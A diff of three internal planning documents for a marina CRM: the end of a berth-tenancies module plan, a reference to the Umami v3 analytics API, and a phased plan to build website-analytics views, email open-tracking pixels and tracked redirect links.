1. **Occupancy heatmap by month** — Per-berth-area grid: rows = berth areas, columns = months for the active date range, cell shade = % months occupied. Data from `tenancies.startDate / endDate` overlap with each month.
|
||||
2. **Renewals at risk (next 90 days)** — Table of active tenancies whose `endDate IS NOT NULL AND endDate <= now() + 90d AND` no successor row exists yet. Click-through opens the tenancy with "Renew" CTA pre-focused.
|
||||
3. **Revenue forecast by tenure expiry** — Forward projection per quarter: sum of berth-price × remaining-tenure for active rows; bucketed by quarter ending date. Highlights revenue cliffs.
|
||||
4. **Tenancy by tenure type breakdown** — Donut + table of active tenancies grouped by `tenure_type`. Operational mix at a glance.
|
||||
|
||||
Each widget registers in `src/components/dashboard/widget-registry.tsx` with:
|
||||
|
||||
```ts
|
||||
{
|
||||
id: 'tenancy_occupancy_heatmap',
|
||||
label: 'Occupancy heatmap',
|
||||
render: (range) => <TenancyOccupancyHeatmap range={range} />,
|
||||
group: 'chart',
|
||||
defaultVisible: true,
|
||||
selfGates: true,
|
||||
requires: 'tenancies_module', // new gating channel
|
||||
}
|
||||
```
|
||||
|
||||
The `tenancies_module` integration check resolves to `tenancies_module_enabled === true`. When false → widget filtered out of both the dashboard render AND the customize picker.
|
||||
|
||||
---
|
||||
|
||||
## Service layer additions
|
||||
|
||||
`src/lib/services/berth-tenancies.service.ts` (renamed from `berth-reservations.service.ts`):
|
||||
|
||||
- `listTenancies({ portId, filters, page })` — gated read.
|
||||
- `createTenancy(portId, data, meta)` — mints a row; also triggers the module-enable flip on first insert.
|
||||
- `updateTenancy(portId, id, data, meta)`.
|
||||
- `renewTenancy(portId, id, data, meta)` — picks mutate-in-place vs new-row branch based on `tenure_type`.
|
||||
- `transferTenancy(portId, id, newClientId, transferDate, meta)`.
|
||||
- `cancelTenancy(portId, id, reason, meta)` — gated on `tenancies.cancel`.
|
||||
- `endTenancy(portId, id, endDate, meta)`.
|
||||
- `autoCreatePendingTenancies(portId, interestId, opts)` — webhook auto-create branch.
|
||||
|
||||
`src/lib/services/tenancies-module.service.ts` (new):
|
||||
|
||||
- `isTenanciesModuleEnabled(portId)` — checks setting OR `EXISTS (SELECT 1 FROM tenancies WHERE port_id = $1)` to surface the lazy state.
|
||||
- `enableTenanciesModule(portId, meta)` — admin-driven enable.
|
||||
- `disableTenanciesModule(portId, meta)` — admin-driven disable; the warning copy lives in the admin UI.
|
||||
|
||||
---
|
||||
|
||||
## API surface (`/api/v1/tenancies/*`)
|
||||
|
||||
All routes gated on `tenancies.view` (read) or `tenancies.manage` / `tenancies.cancel` (write). Each handler additionally calls `assertTenanciesModuleEnabled(portId)` first — returns 404 when off (matches the sidebar/top-level page behaviour).
|
||||
|
||||
| Verb | Path | Permission |
|
||||
| ----- | ---------------------------------------- | ----------------------- |
|
||||
| GET | `/api/v1/tenancies` | `tenancies.view` |
|
||||
| GET | `/api/v1/tenancies/[id]` | `tenancies.view` |
|
||||
| POST | `/api/v1/tenancies` | `tenancies.manage` |
|
||||
| PATCH | `/api/v1/tenancies/[id]` | `tenancies.manage` |
|
||||
| POST | `/api/v1/tenancies/[id]/renew` | `tenancies.manage` |
|
||||
| POST | `/api/v1/tenancies/[id]/transfer` | `tenancies.manage` |
|
||||
| POST | `/api/v1/tenancies/[id]/end` | `tenancies.manage` |
|
||||
| POST | `/api/v1/tenancies/[id]/cancel` | `tenancies.cancel` |
|
||||
| GET | `/api/v1/admin/tenancies-module/status` | `admin.manage_settings` |
|
||||
| POST | `/api/v1/admin/tenancies-module/enable` | `admin.manage_settings` |
|
||||
| POST | `/api/v1/admin/tenancies-module/disable` | `admin.manage_settings` |
|
||||
|
||||
---
|
||||
|
||||
## Phased PR plan
|
||||
|
||||
| PR | Scope | Effort | Ships independently |
|
||||
| ------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | ------------------------------------------------------------------------------ |
|
||||
| **P1: Rename migration + perms + setting** | `008X_rename_reservations_to_tenancies.sql` + self-FKs + seed `tenancies.view`/`.manage`/`.cancel` + `tenancies_module_enabled` registry entry. Schema files renamed. ALL imports updated. **No behaviour change** — module starts disabled, so reps don't see anything new. | ~6 h | Yes (silent rename; existing consumers keep working through the renamed table) |
|
||||
| **P2: Module-enabled gating infra** | `tenancies-module.service.ts` + admin Operations page Switch + lazy-flip logic + permission helper that combines `tenancies.view` AND module-enabled. | ~4 h | Yes (admin can toggle; rest of app honors the flag) |
|
||||
| **P3: Webhook auto-create branch** | `autoCreatePendingTenancies` + unconditional branch in `handleDocumentCompleted` (no module gate — the inserted row is what surfaces the module via the row-exists fallback in `isTenanciesModuleEnabled`). Vitest covering: first signing on a fresh port surfaces the module; replay is idempotent; stage still advances regardless. | ~5 h | Yes (back-compat — pre-existing reservation flows keep working) |
|
||||
| **P4: Public-map status flip rules** | Status resolver in `berths.service.ts` honors active permanent-class tenancies. Vitest for precedence + module-off behaviour. | ~3 h | Yes |
|
||||
| **P5: Sidebar entry + top-level page** | Sidebar mounts the Tenancies entry behind both gates. New `/{portSlug}/tenancies/page.tsx` with the listing table + filters. 404 when module disabled. | ~6 h | Yes (visible to super_admin first; sales reps see it once perms seed) |
|
||||
| **P6: Entity tab refresh + Create dialog** | Friendly empty state + "Create tenancy" CTA on Client / Yacht / Berth tabs. `<TenancyCreateDialog>` pre-fills from parent context. Edit / Renew / Transfer / End dialogs follow the same idiom. | ~8 h | Yes |
|
||||
| **P7: Reporting widgets** | All four widgets — occupancy heatmap, renewals at risk, revenue forecast, tenure type breakdown — all module-gated via `selfGates: true` + `requires: 'tenancies_module'`. | ~10 h | Yes |
|
||||
|
||||
Total: ~42 h spread across 7 PRs.
|
||||
|
||||
---
|
||||
|
||||
## Open follow-ups (intentionally deferred past v1)
|
||||
|
||||
- **Auto-invoicing on tenancy lifecycle.** Locked: v1 ships READ-ONLY — no auto-invoice on tenancy create / renew / end. Revisit once we see how ports actually use the tenancy data.
|
||||
- **Strict-block duplicate-tenancy toggle.** Locked: out of scope. No admin-configurable "block creating a tenancy if one already exists for this berth." Keep dead-simple now.
|
||||
- **Warning for closed-outcome siblings.** Out of scope.
|
||||
- **Cross-tenant warnings.** Out of scope (already enforced by `port_id` constraints).
|
||||
|
||||
Capture in `docs/BACKLOG.md` after P5 ships.
|
||||
@@ -1,189 +0,0 @@
|
||||
# Umami v2 / v3 API capabilities — reference for flesh-out planning
|
||||
|
||||
**Verified against:** analytics.portnimara.com (Umami v3.1.0), 2026-05-19.
|
||||
**Auth:** username/password → JWT via `POST /api/auth/login`, Bearer on every request, 1h TTL (we cache 55min).
|
||||
**Companion code:** `src/lib/services/umami.service.ts` (currently wraps stats/pageviews/metrics/active).
|
||||
|
||||
Endpoints below are listed by topic area, with what we currently use, what's available but unused, and where it could plug into the CRM.
|
||||
|
||||
---
|
||||
|
||||
## 1. Stats & traffic snapshots — `/api/websites/:id/stats`
|
||||
|
||||
**Currently used.** Returns the flat aggregate over the requested window plus a `comparison` block for the prior window of equal length.
|
||||
|
||||
```json
|
||||
{
|
||||
"pageviews": 2081, "visitors": 726, "visits": 872,
|
||||
"bounces": 457, "totaltime": 109519,
|
||||
"comparison": { "pageviews": 1935, "visitors": 642, ... }
|
||||
}
|
||||
```
|
||||
|
||||
**Unused fields we could surface:**
|
||||
|
||||
- `totaltime` — total seconds on site → derive avg session time (`totaltime / visits`).
|
||||
- `bounces / visits` → bounce-rate KPI.
|
||||
- Period-over-period deltas (already wired for trend arrows, but the _full_ comparison object has more we could use for a "what changed since last period" panel).
|
||||
|
||||
**Filters supported** (per Umami docs, mostly untested by us): `url`, `referrer`, `title`, `query`, `event`, `host`, `os`, `browser`, `device`, `country`, `region`, `city` — meaning every stats call can be sliced. **Big unlock:** show stats for a specific landing-page URL on the berth detail (e.g. `/berths/A12` stats), or filter by referrer to see which channels drove signed EOIs.
|
||||
|
||||
---
|
||||
|
||||
## 2. Time-series — `/api/websites/:id/pageviews`
|
||||
|
||||
**Currently used** for the trend chart. Returns `{pageviews: [{x, y}], sessions?: [{x, y}]}` (sessions only when `compare` is requested).
|
||||
|
||||
**Parameters:** `startAt`, `endAt`, `unit` (`year|month|day|hour`), `timezone`, `compare` (untapped), `filters` (untapped).
|
||||
|
||||
**Unused:** `compare=prev` gives the same series for the previous period — could power a dual-line "vs last period" overlay on the chart.
|
||||
|
||||
---
|
||||
|
||||
## 3. Top-N metrics — `/api/websites/:id/metrics`
|
||||
|
||||
**Currently used** for Top Pages / Referrers / Countries (limit 10). Returns `[{x, y}]`.
|
||||
|
||||
**Available `type` values** (we surface 4, Umami offers 17):
|
||||
|
||||
| Type | What it returns | CRM use case |
|
||||
| --------------------------- | -------------------------- | --------------------------------------------------------- |
|
||||
| `path` | Top URLs | ✅ Already shown (we mis-typed as `url`, now fixed) |
|
||||
| `referrer` | Top referring sites | ✅ Already shown |
|
||||
| `country` | Visitors by country | ✅ Already shown |
|
||||
| `browser` / `os` / `device` | Tech breakdown | Not surfaced — useful for "is mobile traffic converting?" |
|
||||
| `region` / `city` | Geographic drill-down | Strong fit for marina marketing |
|
||||
| `language` | Visitor browser language | Could feed i18n decisions |
|
||||
| `screen` | Resolution | Low value |
|
||||
| `event` | Top custom events | Big unlock — see §6 below |
|
||||
| `tag` | Event tags | Same |
|
||||
| `query` | Top URL query strings | UTM-debug surface |
|
||||
| `entry` / `exit` | First/last page in session | Funnel analysis |
|
||||
| `title` | Top page titles (vs paths) | Better labels for non-slug URLs |
|
||||
| `hostname` | Multi-domain sites | Probably N/A |
|
||||
| `distinctId` | Custom user identifiers | If we ever pipe CRM user IDs into Umami |
|
||||
|
||||
---
|
||||
|
||||
## 4. Live visitors — `/api/websites/:id/active`
|
||||
|
||||
**Currently used** for the green-dot "N active right now" indicator. Returns `{visitors: number}` (last-5-min count).
|
||||
|
||||
**Alternative for richer realtime:** `/api/realtime/:websiteId` (live realtime feed) returns far more — current top URLs being viewed, current top countries, recent event stream, a 30-minute time-series, totals, plus a `timestamp` you can poll against. We could surface a "live" panel on the dashboard showing the most-viewed pages right now.
|
||||
|
||||
---
|
||||
|
||||
## 5. Sessions API — `/api/websites/:id/sessions/*`
|
||||
|
||||
**Not currently used.** Multiple endpoints worth integrating:
|
||||
|
||||
- `GET /sessions` — list every session in a range with full device/geo/visits/views columns. Pageable. Could power a "recent visitors" surface — see who's browsing the berth detail pages right now.
|
||||
- `GET /sessions/stats` — summary aggregate (pageviews, visitors, visits, countries, events) keyed by session.
|
||||
- `GET /sessions/:sessionId` — drill into a single session: device, OS, browser, country, subdivision, city, screen, language, firstAt, lastAt, visits, views, events, totaltime.
|
||||
- `GET /sessions/:sessionId/activity` — full event timeline for one session (urlPath, eventName, referrerDomain, timestamps).
|
||||
- `GET /sessions/:sessionId/properties` — custom session properties (email, name, etc. — if Umami's `identify()` is called from the marketing site).
|
||||
- `GET /session-data/properties` + `/session-data/values` — aggregate custom session properties.
|
||||
- `GET /sessions/weekly` — heatmap of session count by hour-of-week. Direct fit for an "engagement heatmap" widget.
|
||||
|
||||
**Big unlock:** if marketing site calls `umami.identify({email})` after EOI form submit, sessions can be linked back to a specific client. We could then show "this client's website journey" on their CRM detail page.
|
||||
|
||||
---
|
||||
|
||||
## 6. Events API — `/api/websites/:id/events/*`
|
||||
|
||||
**Not currently used.** Umami auto-tracks pageviews; custom events are fired explicitly (e.g. button clicks, form submits, video plays). Endpoints:
|
||||
|
||||
- `GET /events` — list custom events in a range.
|
||||
- `GET /events/stats` — totals.
|
||||
- `GET /events/series` — time-series per event.
|
||||
- `GET /event-data/*` — aggregate over event payload properties.
|
||||
|
||||
**High-leverage CRM use cases:**
|
||||
|
||||
- Fire an event on the marketing site when someone clicks "Inquire about berth A12" → CRM Activity feed shows it in real-time on the inquiry record.
|
||||
- Fire an event when someone downloads a brochure → see which brochures convert.
|
||||
- Fire an event on EOI form-step completions → drop-off funnel analysis.
|
||||
|
||||
We'd need to add `umami.track('event-name', {payload})` calls on the marketing site (~1-2h work there) and a new admin surface to define/view these events.
|
||||
|
||||
---
|
||||
|
||||
## 7. Reports API — `/api/reports/*`
|
||||
|
||||
**Not currently used.** Umami's "saved reports" system. Endpoints:
|
||||
|
||||
- `GET /reports` + `GET /reports/:id` — list / retrieve saved reports.
|
||||
- `POST /reports/insights` — slice-and-dice with arbitrary filters/dimensions.
|
||||
- `POST /reports/funnel` — multi-step conversion analysis.
|
||||
- `POST /reports/retention` — cohort retention over time.
|
||||
- `POST /reports/utm` — UTM-tagged campaign performance.
|
||||
- `POST /reports/journey` — most common navigation paths.
|
||||
- `POST /reports/goals` — pageview/event-goal completion tracking.
|
||||
- `POST /reports/revenue` — revenue attribution (if we fire `purchase` events with amount).
|
||||
- `POST /reports/attribution` — first/last-click attribution modelling.
|
||||
|
||||
**Best fits for the CRM:**
|
||||
|
||||
- **Funnel report** for the EOI flow: `/berths → /berths/A12 → /inquire?berth=A12 → form submit → CRM EOI signed`. Surface drop-off percentages on the Pulse-style dashboard.
|
||||
- **Journey report** to see "what paths do visitors take before signing an EOI?" — informs marketing-site IA.
|
||||
- **UTM report** to plumb campaign attribution into the lead-source breakdown (currently CRM-side; could be cross-validated against marketing's UTM-tagged traffic).
|
||||
- **Attribution report** to give Pipeline-by-Source a "first-click vs last-click" toggle.
|
||||
|
||||
---
|
||||
|
||||
## 8. Send events from CRM → Umami — `/api/send`
|
||||
|
||||
**Not currently used.** The collect endpoint accepts page hits + custom events from any client. CRM doesn't currently push events, but we could:
|
||||
|
||||
- Fire `umami.track('signed-eoi', {berth: 'A12', deal_value: 50000})` from the CRM after EOI completion — closes the loop between marketing-site funnel and CRM outcome.
|
||||
- Fire `umami.track('contract-signed')`, `umami.track('deposit-received')` — full funnel visible in Umami without leaving it.
|
||||
|
||||
---
|
||||
|
||||
## 9. Multi-website + team admin — `/api/websites`, `/api/teams`, `/api/users`
|
||||
|
||||
**Not currently used.** We hard-code a single `umami_website_id` per port. Useful if a port runs multiple sites (e.g. main marina + residential subdomain): admin UI could list-and-pick from the configured Umami instance's websites instead of requiring manual ID copy-paste. Same for team membership.
|
||||
|
||||
---
|
||||
|
||||
## Prioritized opportunity list
|
||||
|
||||
Ranked by leverage-vs-effort, assuming the v3.1.0 fix in this commit is the baseline:
|
||||
|
||||
1. **Avg session time + bounce rate KPI tiles** (~20 min) — already in the `/stats` response, just need new tiles.
|
||||
2. **`compare=prev` overlay on the pageviews trend chart** (~30 min) — dual-line "vs last period" surface.
|
||||
3. **Country choropleth heatmap** (~4-6h) — already queued in Bucket 3 of the UAT findings doc as "World-map heatmap of Umami visitor origins."
|
||||
4. **Surface top browsers / OS / devices** (~30 min) — additional `TopList` columns; pure UI work.
|
||||
5. **Fire CRM-side events back into Umami** (~2-3h marketing-site + CRM hook) — closes the funnel between marketing and outcomes.
|
||||
6. **EOI funnel via `/api/reports/funnel`** (~3-4h) — drop-off analysis from berth view → inquiry → signed EOI.
|
||||
7. **Identify visitors → link sessions to clients** (~4-6h spread across marketing site + CRM detail surfaces) — biggest unlock but needs marketing-site changes.
|
||||
8. **Sessions-list "recent visitors" panel** (~2-3h) — see who's browsing right now, drill into individual sessions.
|
||||
9. **Saved-reports admin surface** (~6-10h) — let admins create + share Umami reports without leaving the CRM. Bigger product surface; defer until #1-#5 land.
|
||||
|
||||
---
|
||||
|
||||
## Service-layer additions needed to support the above
|
||||
|
||||
`src/lib/services/umami.service.ts` currently exports: `getStats`, `getPageviewsSeries`, `getMetric`, `getActiveVisitors`, `testConnection`. To unlock the opportunities above, add:
|
||||
|
||||
- `getSessions(portId, range, opts)` → `/sessions` (paged)
|
||||
- `getSession(portId, sessionId)` → single-session drill-in
|
||||
- `getSessionActivity(portId, sessionId, range)` → event timeline
|
||||
- `getSessionsWeekly(portId, range)` → heatmap source
|
||||
- `getEvents(portId, range)` + `getEventsStats(portId, range)` + `getEventsSeries(portId, range, eventName, unit)` → custom events
|
||||
- `getRealtime(portId, range)` → `/api/realtime/:id` for the live panel
|
||||
- `getReport(portId, reportType, body)` → POST wrappers for funnel/retention/journey/utm/goals/revenue/attribution
|
||||
- `trackEvent(portId, name, payload)` → POST to `/api/send` for CRM → Umami event emission
|
||||
|
||||
Each is a thin wrapper around the existing `umamiFetch` (or a new `umamiPost` variant for the reports endpoints). The auth + JWT cache + retry logic already in place handles them all.
|
||||
|
||||
---
|
||||
|
||||
## Known gotchas (verified against v3.1.0)
|
||||
|
||||
- Metric `type=url` returns 400 — use `type=path` (handled in our code via back-compat alias).
|
||||
- `/api/websites/:id/pageviews` returns `sessions` only when `compare` is in the query string — keep `.sessions` optional in TS types.
|
||||
- Stats response is **flat** (`pageviews: number`), not nested (`pageviews: {value, prev}`). The v1 nested shape isn't in v2/v3.
|
||||
- `/api/auth/login` returns a JWT with no `expires_in` field — we assume 1h and refresh proactively at 55min.
|
||||
- Visiting `/api` in a browser returns nothing — base path has no GET handler. Use `/api/heartbeat` to check liveness.
|
||||
- Filters are passed as query params (e.g. `&country=DE`), NOT as a JSON `filters` body, per actual API behaviour (docs occasionally show JSON which doesn't work for GET endpoints).
|
||||
@@ -1,428 +0,0 @@
|
||||
# Website Analytics — flesh-out plan
|
||||
|
||||
**Goal:** rebuild `/{portSlug}/website-analytics` so it feels like a polished native CRM panel that _mirrors_ Umami's idiom rather than reading as a stripped-down embed. Keep a "View in Umami →" deep-link in the header for power users; render most data in-app via the API. Also extend usage into adjacent CRM surfaces (dashboard tiles, inquiry detail, email open-tracking) so Umami stops being "the analytics page" and becomes a cross-cutting data layer.
|
||||
|
||||
**Inputs to this plan:**
|
||||
|
||||
1. Live API capabilities reference — `docs/umami-api-capabilities.md` (verified empirically against v3.1.0 on analytics.portnimara.com).
|
||||
2. Live UI tour via Playwright — screenshots `umami-tour-1-overview.png` through `umami-tour-9-compare.png` (10 surfaces captured).
|
||||
3. Pixel-tracking probe — confirmed the `/p/<slug>` and `/q/<slug>` endpoints + their UI creation forms.
|
||||
|
||||
---
|
||||
|
||||
## 1. What Umami's UI actually does — design patterns to mirror
|
||||
|
||||
Tour findings (from 17 sub-pages + 4 team pages):
|
||||
|
||||
| Surface | Visual idiom | Adopt for CRM? |
|
||||
| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Overview** | 5-tile KPI row (Visitors / Visits / Views / Bounce rate / Visit duration) — each tile shows headline number + colored arrow chip (green ↑ 58% / red ↓ 39%) + percentage delta. Single stacked bar chart below for traffic time-series (visitors stacked over visits, dual-shade blue). Filter pill + date-range nav top-right. | **Yes** — already mostly there, missing the bounce-rate + visit-duration tiles. |
|
||||
| **Events** | List of custom event names with per-event count + time-series spark. | **Yes** — needs marketing-site event firing first (Phase 4). |
|
||||
| **Sessions** | Dense table: avatar + per-session row showing Visits / Views / Events / Location (flag + city, country) / Browser icon / OS icon / Device icon / Last seen. Tabs for Activity vs Properties (custom session props). | **Yes** — high-leverage; lets reps see _who_ is browsing right now. |
|
||||
| **Realtime** | 4 stat tiles (Views/Visitors/Events/Countries) + auto-refreshing line chart of last 30 min. | **Yes** — already partial via the glance tile. |
|
||||
| **Performance** | Likely page-speed / Core Web Vitals. | Skip — not relevant to marina sales. |
|
||||
| **Compare** | Pick two date ranges side-by-side. | **Partial** — single `compare=prev` overlay on the existing trend chart suffices. |
|
||||
| **Breakdown** | Pivot table view across dimensions. | Skip in v1; expose via Reports later. |
|
||||
| **Goals** | Define event/page-view goals, see completion rate over time. | **Yes** — defer to Phase 5. |
|
||||
| **Funnels** | Multi-step conversion funnel (e.g. /berths → /berths/A12 → /inquire → submit). | **Yes** — Phase 5; high-value for inquiry conversion. |
|
||||
| **Journeys** | Most common navigation paths (Sankey-like). | **Maybe** — defer; nice-to-have. |
|
||||
| **Retention** | Cohort retention grid. | Skip — wrong fit for one-and-done marina inquiry traffic. |
|
||||
| **Replays** | Session replay (likely paid). | Skip — unavailable on our tier. |
|
||||
| **Segments / Cohorts** | Saved filters / user groups. | Skip in v1. |
|
||||
| **UTM** | Campaign attribution by UTM params. | **Yes** — Phase 5 for paid-campaign tracking. |
|
||||
| **Revenue** | Revenue attribution. | Skip — would require firing `purchase` events from CRM after EOI close (consider Phase 6 if leadership wants funnel→revenue). |
|
||||
| **Attribution** | First/last-click attribution model. | **Maybe** — defer. |
|
||||
| **Team-Boards / Websites / Links / Pixels** | Account admin surfaces. | **Pixels + Links: YES — see Phase 4.** Boards/Websites stay in Umami. |
|
||||
|
||||
### Visual specifics worth copying
|
||||
|
||||
- **KPI tile design**: large bold number, label above in muted-grey, arrow + percentage delta below in a colored chip (green-bg for positive, red-bg for negative, fixed-width for alignment). Our `KPITile` already does the right shape — we just need to add the missing two metrics.
|
||||
- **Stacked bar chart for traffic**: dual-shade single bar (visitors as light-blue base, views stacked dark-blue on top). Reads cleaner than two overlapping lines.
|
||||
- **Location rendering**: flag emoji + "City, Country" inline. Use `getCountryName()` + a flag library (twemoji or unicode regional indicators).
|
||||
- **Browser/OS/Device icons**: small colored brand glyphs inline. Use `simple-icons` or `lucide` equivalents.
|
||||
- **Filter chip + date nav**: `<` `>` arrows step through the date range; dropdown opens to preset list. Adopt the same pattern on our shell — currently we only have presets, no step-arrows.
|
||||
|
||||
---
|
||||
|
||||
## 2. Phased build plan
|
||||
|
||||
### Phase 1 — Fill out the Overview tiles & chart (~3-4h)
|
||||
|
||||
Quick wins that close visual parity with Umami's Overview:
|
||||
|
||||
| Task | File | Effort |
|
||||
| -------------------------------------------------------------- | ------------------------------------------------------------------------ | ----------------------------------------------------------------------------- |
|
||||
| Add **Bounce rate** KPI tile | `website-analytics-shell.tsx` | derive `bounces / visits * 100`; service field already there |
|
||||
| Add **Avg visit duration** KPI tile | `website-analytics-shell.tsx` | derive `totaltime / visits` formatted as `Xm Ys`; service field already there |
|
||||
| Add **`<` `>` date-step arrows** on the date-range chip | `date-range-picker.tsx` | step the current preset by one window (today→yesterday, 7d→prior-7d, etc.) |
|
||||
| Convert pageviews trend to **stacked bar** (visitors vs views) | `pageviews-chart.tsx` | recharts `BarChart` stacked, light/dark blue |
|
||||
| Add **`compare=prev` overlay toggle** on the trend chart | `pageviews-chart.tsx` + service `getPageviewsSeries` | optional "vs prior period" series rendered as dashed line |
|
||||
| Add **Top browsers / OS / devices** ranked-list cards | new `<TopList>` consumers; service already exposes via `getMetric(type)` | mirror Top Pages/Referrers/Countries layout |
|
||||
| **World choropleth heatmap** card (already queued separately) | new `visitor-world-map.tsx` (Natural Earth topojson + react-simple-maps) | ~4-6h on its own |
|
||||
|
||||
**Cumulative result:** Overview surface reads at ~80% parity with Umami's Overview.
|
||||
|
||||
---
|
||||
|
||||
### Phase 2 — Sessions surface (~4-5h)
|
||||
|
||||
New `/website-analytics/sessions` tab + supporting service wrappers:
|
||||
|
||||
| Task | File | Effort |
|
||||
| ------------------------------------------------------------------------------------------------------------------------ | ------------------ | ------- |
|
||||
| Service: `getSessions(portId, range, opts)` → `/api/websites/:id/sessions` (paged) | `umami.service.ts` | ~30 min |
|
||||
| Service: `getSession(portId, sessionId)` → single-session detail | `umami.service.ts` | ~15 min |
|
||||
| Service: `getSessionActivity(portId, sessionId, range)` → event timeline | `umami.service.ts` | ~15 min |
|
||||
| Service: `getSessionsWeekly(portId, range)` → hour-of-week heatmap | `umami.service.ts` | ~15 min |
|
||||
| API route: `/api/v1/website-analytics?metric=sessions[&sessionId=...]` | route.ts | ~30 min |
|
||||
| UI: `sessions-table.tsx` — dense rows mirroring Umami (avatar + location flag + browser/OS/device icons + Last seen) | new component | ~2h |
|
||||
| UI: `session-detail-sheet.tsx` — right-side Sheet drawer showing the session's full event timeline when a row is clicked | new component | ~1h |
|
||||
| UI: `weekly-heatmap-card.tsx` — 7×24 grid colour-scaled by session count, hover for tooltip | new component | ~1h |
|
||||
|
||||
**Unlock:** rep can see "who is currently browsing right now, where from, on what device, what they're looking at" — directly actionable for sales follow-up.
|
||||
|
||||
---
|
||||
|
||||
### Phase 3 — Events surface (~3-4h, BLOCKED on Phase 4a)
|
||||
|
||||
| Task | File | Effort |
|
||||
| -------------------------------------------------------------------------------------------- | ------------------ | ------- |
|
||||
| Service: `getEvents(portId, range, opts)` → `/events` paged list | `umami.service.ts` | ~30 min |
|
||||
| Service: `getEventsStats(portId, range)` → totals | `umami.service.ts` | ~15 min |
|
||||
| Service: `getEventsSeries(portId, range, eventName, unit)` → per-event time-series | `umami.service.ts` | ~15 min |
|
||||
| API route addition | route.ts | ~30 min |
|
||||
| UI: `events-tab.tsx` — list of event names with per-event count + spark + drill-in | new component | ~1.5h |
|
||||
| UI: `event-detail-sheet.tsx` — single event's time-series chart + filter by payload property | new component | ~1h |
|
||||
|
||||
**Dependency:** the marketing site must fire `umami.track(name, payload)` calls (Phase 4a). Without this, Events tab is empty.
|
||||
|
||||
---
|
||||
|
||||
### Phase 4 — Pixel tracking + link tracking + marketing-site event push
|
||||
|
||||
**Phase 4a — Marketing-site event tracking (~2-3h on marketing repo)**
|
||||
|
||||
Add `umami.track()` calls in the marketing site:
|
||||
|
||||
- `inquiry-submitted` with `{berth, source}` payload — fires on EOI form submit
|
||||
- `brochure-download` with `{brochureId}` — fires on brochure download
|
||||
- `berth-detail-viewed` with `{berthId, mooring}` — fires on `/berths/[mooring]` page view
|
||||
- `phone-revealed` / `email-revealed` — fires when contact details are exposed
|
||||
|
||||
These light up the Events tab + enable funnel analysis in Phase 5.
|
||||
|
||||
**Phase 4b — Pixel-based email open tracking (~3-4h CRM-side)**
|
||||
|
||||
Probe finding: Umami exposes pixel URLs at `https://analytics.portnimara.com/p/<slug>` — fetching the URL records an event. Use case: embed in HTML emails as a 1x1 image.
|
||||
|
||||
**Two architecture options:**
|
||||
|
||||
**Option A — One Umami pixel per email type** (simple, low fidelity)
|
||||
|
||||
- Create a pixel manually in Umami for each templated email type (`portal-invite`, `eoi-sent`, `reservation-reminder`, etc.)
|
||||
- Embed the static pixel URL in each template
|
||||
- Pro: zero CRM-side code beyond template HTML. Open rates roll up in Umami by pixel.
|
||||
- Con: can't tell _which recipient_ opened — only aggregate counts per template.
|
||||
|
||||
**Option B — One Umami pixel + CRM-side per-send tracking endpoint** (richer, recommended)
|
||||
|
||||
- Build `GET /api/public/email-pixel/:sendId.gif` in our CRM that:
|
||||
1. Returns a 1×1 transparent GIF
|
||||
2. Records the open in `document_sends.opened_at` (already a table; per CLAUDE.md "send-from accounts" section)
|
||||
3. Optionally proxies the hit to Umami via `POST /api/send` with the email type + send id as event properties for cross-correlation
|
||||
- Embed `<img src="https://crm.portnimara.com/api/public/email-pixel/{sendId}.gif" width="1" height="1" />` in every templated email
|
||||
- Pro: per-recipient open tracking + open-time + CRM-attached. Funnels by email type via Umami too.
|
||||
- Con: needs the public endpoint + a schema column (or reuse `document_sends.opened_at`).
|
||||
|
||||
**Recommendation: ship Option B.** The CRM-side hook gives us per-deal attribution ("client X opened the EOI reminder twice but hasn't signed"), and Umami still gets the aggregate.
|
||||
|
||||
| Task | File | Effort |
|
||||
| ------------------------------------------------------------------------------------------------------------- | ---------------------------------------------- | ------- |
|
||||
| New endpoint `/api/public/email-pixel/[sendId]/route.ts` returning a 1×1 GIF + recording open | new route | ~1h |
|
||||
| Migration: add `opened_at`, `open_count`, `last_opened_user_agent` to `document_sends` if not present | drizzle migration | ~30 min |
|
||||
| Email template helper: inject the pixel HTML into every transactional template | `src/lib/email/render.ts` | ~30 min |
|
||||
| UI surface: on each `document_sends` row in the activity feed, show "Opened N times, last at X" badge | `email-activity-row.tsx` | ~1h |
|
||||
| Cross-post to Umami via `trackEvent('email-opened', {emailType, sendId})` so Umami funnel data includes opens | new `trackEvent` wrapper in `umami.service.ts` | ~30 min |
|
||||
| Privacy: respect `EMAIL_REDIRECT_TO` dev gate; don't fire pixels for redirected dev emails | ditto | ~15 min |
|
||||
|
||||
**Phase 4c — Tracked redirect links (~1.5h)**
|
||||
|
||||
Umami's `/q/<slug>` endpoint is a tracked redirect — records a click then 302s to the destination URL. Use for outbound CTAs:
|
||||
|
||||
- "View brochure" links in emails → wrap via Umami link → records click → opens brochure
|
||||
- "Schedule a viewing" buttons → wrap via Umami link → click attribution
|
||||
- Marketing-site CTAs → wrap → measure engagement
|
||||
|
||||
| Task | File | Effort |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------- | ------- |
|
||||
| Service: `createTrackedLink(name, destinationUrl)` → POST to Umami's links endpoint via authenticated API | `umami.service.ts` | ~45 min |
|
||||
| Email template helper: `<trackedLink href="..." name="...">` JSX wrapper that auto-creates the Umami link on first render + caches the slug | `src/lib/email/components/` | ~45 min |
|
||||
|
||||
---
|
||||
|
||||
### Phase 5 — Reports surfaces (Funnels, UTM, Journeys) (~6-8h)
|
||||
|
||||
| Task | File | Effort |
|
||||
| ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------ | ------ |
|
||||
| Service: `getReport(reportType, body)` POST wrapper covering `/funnel`, `/journey`, `/utm`, `/goals`, `/retention`, `/revenue`, `/attribution` | `umami.service.ts` | ~1h |
|
||||
| UI: `/website-analytics/funnels` page — admin-configurable funnel definitions (steps as event names or URL paths), per-step drop-off chart | new page | ~3h |
|
||||
| UI: `/website-analytics/utm` page — UTM source/medium/campaign breakdown with click-through to attributed sessions | new page | ~2h |
|
||||
| UI: `/website-analytics/journeys` page — top navigation paths rendered as ranked list (skip Sankey for v1) | new page | ~1.5h |
|
||||
| Defer: Goals / Retention / Revenue / Attribution to v2 (low signal for marina sales) | | |
|
||||
|
||||
**High-leverage funnels to wire as defaults:**
|
||||
|
||||
